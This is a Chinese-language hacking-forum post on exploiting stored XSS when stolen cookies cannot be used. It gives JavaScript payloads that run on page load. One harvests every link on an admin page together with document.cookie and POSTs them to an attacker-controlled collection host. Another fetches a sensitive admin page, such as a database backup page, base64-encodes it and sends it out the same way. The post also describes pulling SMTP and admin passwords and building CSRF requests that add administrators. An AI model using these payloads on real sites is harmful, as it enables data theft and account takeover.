http://www.hack80.com/thread-965-1-1.html
0x01 前言 XSS确实是个好东西,往往能在我们没有头绪的时候带来一丝曙光,宛如拿站途中的一轮明月,又如饥饿时的一块小曲奇(cookie)~ 然而,我们却时常遇到形如限制登录,HTTPONLY等拦路虎,这时,很多机油可能觉得XSS就没什么用了。 如下: 0x02 XSS用途探索 其实即使如此,XSS还是能帮助我们得到不少信息。甚至管理员的密码! 如何获取呢?方法有两种: 1.获取当前页面的所有URL 2.获取当前页面的代码 这个用途,撸主最开始想到的是用来对付WEBSHELL箱子的。是的,我们知道,登录一个箱子后台之后,基本上是拿不下shell的,我们要的主要是数据 例如,当时有这么一个webshell站点,马场主发现被人XSS之后,限制了ip登陆,即使得到了cookie也登不进去 这时候,我们就可以通过XSS获取页面的内容,直接得到所有webshell(当然要写一个循环)。 0x03 XSS用途探索——获取URL 不能光说不练不是,我们使用如下的js代码即可获取当前页面的所有URL:
- a = document.getElementsByTagName("A");
- var b = "";
- for(i=0;i<a.length;i++)
- {
- b+=a[i].href;
- b+="</br>";
- }
- postDATA="cookie="+escape(document.cookie)+"&location="+escape(window.location.href)+"&top="+escape(top.location.href)+"&urls="+escape(b);
- url="http://xxxx.com/save.php";
- xmlHttp.open("POST", url, true);
- xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xmlHttp.send(postDATA);
- }
- window.onload = function(){
- submitForm();
- }
复制代码
为什么不用get?答:因为get有长度限制 例如,我们在某个后台插入了自己的js: 等管理员看的时候,就得到了所有的url,我们可以在下图看到,后台往往有一些链接地址,都是各种管理的: 之后我们需要辗转多次,来搜集一些敏感的链接,例如数据库备份,SMTP设置,管理员列表之类的 这些页面的作用: 1.数据库备份:没准能看到数据库或者备份的路径 2.SMTP设置:管理员邮箱,密码 3.管理员列表:有时候管理员密码会显示在此,即使不在,没准可以CSRF添加一个管理员 0x04 XSS用途探索——获取指定URL页面代码 得到了敏感路径之后呢,我们就可以利用如下的JS来获取特定的页面(当然,上一步在当前页面搜集不齐URL的时候,也可以使用这个JS到别的页面搜集) 关键代码如下:
-
- function submitForm() {
- var xmlHttp = createXmlHttp();
- var htmlcode = getHtmlCode('http://xxxx.com/admin/asked/admin_data.asp?action=BackupData');
- var html = encode64(htmlcode);
- postDATA = "msg="+html;
- url="http://aaaa.com/savePage.php";
- xmlHttp.open("POST", url, true);
- xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xmlHttp.send(postDATA);
- }
- window.onload = function(){
- submitForm();
- }
-
复制代码
为什么要base64?答:现将网页escape,然后再用base64传送,即能解决传送时候一些特殊编码问题,又能解决中文乱码问题 我们得到内容的将会如下图: 然后我们先用base64解码,再unescape: JS代码如下:
-
- function decode64(input) {
- var output = "";
- var chr1, chr2, chr3 = "";
- var enc1, enc2, enc3, enc4 = "";
- var i = 0;
- // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
- var base64test = /[^A-Za-z0-9\+\/\=]/g;
- if (base64test.exec(input)) {
- alert("There were invalid base64 characters in the input text.\n" +
- "Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" +
- "Expect errors in decoding.");
- }
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- do {
- enc1 = keyStr.indexOf(input.charAt(i++));
- enc2 = keyStr.indexOf(input.charAt(i++));
- enc3 = keyStr.indexOf(input.charAt(i++));
- enc4 = keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
- chr1 = chr2 = chr3 = "";
- enc1 = enc2 = enc3 = enc4 = "";
- } while (i < input.length);
- return unescape(output);
- }
复制代码
最终能得到网页源代码,其中包含着敏感信息: 同样,我们也可以得到添加管理员的页面的代码: 然后可以构造一个CSRF了 0x05 总结 即使cookie不能用,也不要小看xss的威力,撸主标题注明了,这是一篇“研究”文,意在抛砖引玉,广开大家思路,如有其他好思路可以给撸主留言,好机油一起讨论~~ 另外,这写个模块,撸主已经加到了自己用的XSS平台里~~效果图来一张: |